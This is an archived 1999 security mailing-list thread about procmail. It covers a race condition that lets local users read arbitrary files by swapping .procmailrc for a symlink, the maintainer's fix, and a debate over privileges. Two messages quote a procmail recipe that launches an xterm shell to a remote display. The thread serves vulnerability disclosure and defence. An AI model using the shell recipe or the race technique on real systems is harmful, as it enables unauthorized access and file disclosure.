Lucene search
K

procmail.screen.txt

🗓️ 17 Aug 1999 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

Security issue in procmail allowing local users to view arbitrary files via race conditions.

Code
`Date: Mon, 5 Apr 1999 19:40:37 +0100  
From: Chris Evans <[email protected]>  
To: [email protected]  
Subject: More procmail  
  
Hi,  
  
Well well since Debian appear to have "broken silence" on the procmail  
front rather than wait for an official announcement...  
  
I found something potentially more serious than boring heap overflows. It  
is allegedly fixed in the latest procmail release but I haven't checked.  
  
As a summary local users can dump the contents of any file to screen. As a  
comment I would suggest anyone running procmail with elevated privs either  
  
a) Needs their head examined or  
b) Hasn't read the code.  
  
Here is a quote of a previous mail I sent various people when I first  
found the file handling issue. I also recommended to the procmail team  
that they review _all_ of their file handling code. I have no idea whether  
this recommendation was taken on board or not..  
  
Cheers  
Chris  
  
-----8<--------  
  
However on to more interesting things, I have found a much more serious  
security hole in procmail's file handling which can lead to users dumping  
the contents of arbitrary files they should not be able to read to the  
screen.  
  
The faulty code sequence is in the handling of .procmailrc files and goes  
something like  
  
1) stat .procmailrc (as root) - if it can't be stat'ed keep root privs  
2) open .procmailrc  
3) do lstat on .procmailrc for security check  
  
By replacing .procmailrc after steps 1) and 2) with a symlink to the file  
to dump and a regular file respectively, we can win a race condition.  
  
You might not think this is a very plausible race but with a few deep  
directory/multiple symlink tricks/SIGSTOP/etc. the window can be made  
quite wide. This is definitely exploitable.  
  
----------------------------------------------------------------------------  
  
Date: Tue, 6 Apr 1999 21:50:03 -0400  
From: Kragen Sitaker <[email protected]>  
To: [email protected]  
Subject: Re: more procmail  
  
Chris Evans writes:  
> As a comment I would suggest anyone running procmail with elevated  
> privs either  
>  
> a) Needs their head examined or  
> b) Hasn't read the code.  
  
Procmail is generally not useful when running on behalf of the person  
who wrote the email it's being given as input.  
  
When it is running on behalf of someone else, which is the usual case,  
it has privileges that the sender did not.  
  
In my book, that means it's running with elevated privs.  
  
Common examples of this situation:  
- filtering your incoming mail with procmail  
- running a mailbox (of mail from other people) through procmail  
  
--  
<[email protected]> Kragen Sitaker <http://www.pobox.com/~kragen/>  
This is exactly how the World Wide Web works: the HTML files are the pithy  
description on the paper tape, and your Web browser is Ronald Reagan.  
-- Neal Stephenson, at http://www.cryptonomicon.com/beginning_print.html  
  
----------------------------------------------------------------------------  
  
Date: Tue, 6 Apr 1999 20:00:03 -0500  
From: Philip Guenther <[email protected]>  
To: [email protected]  
Subject: Re: More procmail  
  
Chris Evans <[email protected]> writes:  
...  
>As a summary local users can dump the contents of any file to screen. As a  
>comment I would suggest anyone running procmail with elevated privs either  
>  
>a) Needs their head examined or  
>b) Hasn't read the code.  
>  
>Here is a quote of a previous mail I sent various people when I first  
>found the file handling issue. I also recommended to the procmail team  
>that they review _all_ of their file handling code. I have no idea whether  
>this recommendation was taken on board or not..  
  
Hmm, I guess I failed to cc you on the discussion that later took place  
on this issue. What we eventually settled on and was incorporated into  
version 3.12 was for procmail to always open user rcfiles as the user  
(/etc/procmailrc will still be opened and processed as root). On some  
systems where special group privileges are needed to deliver to the  
mailspool but that have broken set*gid() system calls, procmail will  
attempt the open as root and if it succeeds then it'll close it, become  
the user, and open it again. This last case may still allow for DOS  
attacks by symlinking to, say, a serial device that blocks on open, so  
I suppose the open as root should be a non-blocking open. The truly  
paranoid will abolish the central mailspool directory and group 'mail'  
in favor of spooling mail to the user's home directory, a setup  
procmail readily supports.  
  
As for the rest of the file handling code, what I've had the time to  
review has looked safe. Procmail becomes the user before it starts  
processing the contents of the $HOME/.procmailrc, so problems should be  
limited to what the user could have done without procmail at all.  
While the permissions of the $HOME/.procmailrc are checked closely,  
procmail tries to the trust the user the rest of the time; if the user  
wants to process recipes from someone else's rcfile, procmail will let  
them: trusting the other user was their explicit choice. Resource  
consumption attacks (say, opening /dev/zero as an rcfile) should be  
dealt with like all resource consumptions attacks: audit and keep a  
baseball bat next to your desk.  
  
  
Philip Guenther  
Procmail Maintainer  
[email protected]  
  
----------------------------------------------------------------------------  
  
Date: Wed, 7 Apr 1999 08:50:28 -0700  
From: Ricky Connell <[email protected]>  
To: [email protected]  
Subject: Re: More procmail  
  
Philip Guenther <[email protected]> writes:  
=Procmail becomes the user before it starts  
=processing the contents of the $HOME/.procmailrc, so problems should be  
=limited to what the user could have done without procmail at all.  
  
Not quite true.  
The procmail rule:  
  
:0  
* ^Subject: HACK  
| setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh  
  
will, in fact, pop a shell from the secured mail server to whereever  
the user specifies, running as the user. So if they control their own  
.procmailrc, they can log into the mail server whenever they desire, which  
may not be a machine that they would normally have access to. The paths  
may need to be changed to reflect the OS of the mail server.  
I have patched my procmail to deal with this by forcing it to use  
smrsh. In doing so, I also discovered the procmail calls sendmail  
explicitly at some point in it's operation (didn't take the time to figure  
out where it does it). This might also be of concern, but it wasn't  
immediately obvious to me how this might be exploited.  
-- Ricky  
  
  
---  
[email protected] (650) 498-4405  
Unix and Network Administrator  
  
----------------------------------------------------------------------------  
  
Date: Wed, 7 Apr 1999 12:51:20 -0500  
From: Christopher P. Lindsey <[email protected]>  
To: [email protected]  
Subject: Re: More procmail  
  
> :0  
> * ^Subject: HACK  
> | setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh  
>  
> I have patched my procmail to deal with this by forcing it to use  
> smrsh. In doing so, I also discovered the procmail calls sendmail  
> explicitly at some point in it's operation (didn't take the time to figure  
> out where it does it). This might also be of concern, but it wasn't  
> immediately obvious to me how this might be exploited.  
  
Exactly, and I've been debating this with Philip for quite some time  
now. I'm not saying that either one of us is right, but this type  
of problem is particularly worrisome in our environment at NCSA.  
  
I also wrote a patch about a year ago (or maybe it's the one that you  
used) against 3.11pre7, available at  
  
http://mirror.ncsa.uiuc.edu/procmail/patches/smrsh-like.patch  
  
I'll be writing one for 3.13.x and adding the same functionality to  
formail when I have the time.  
  
Chris  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation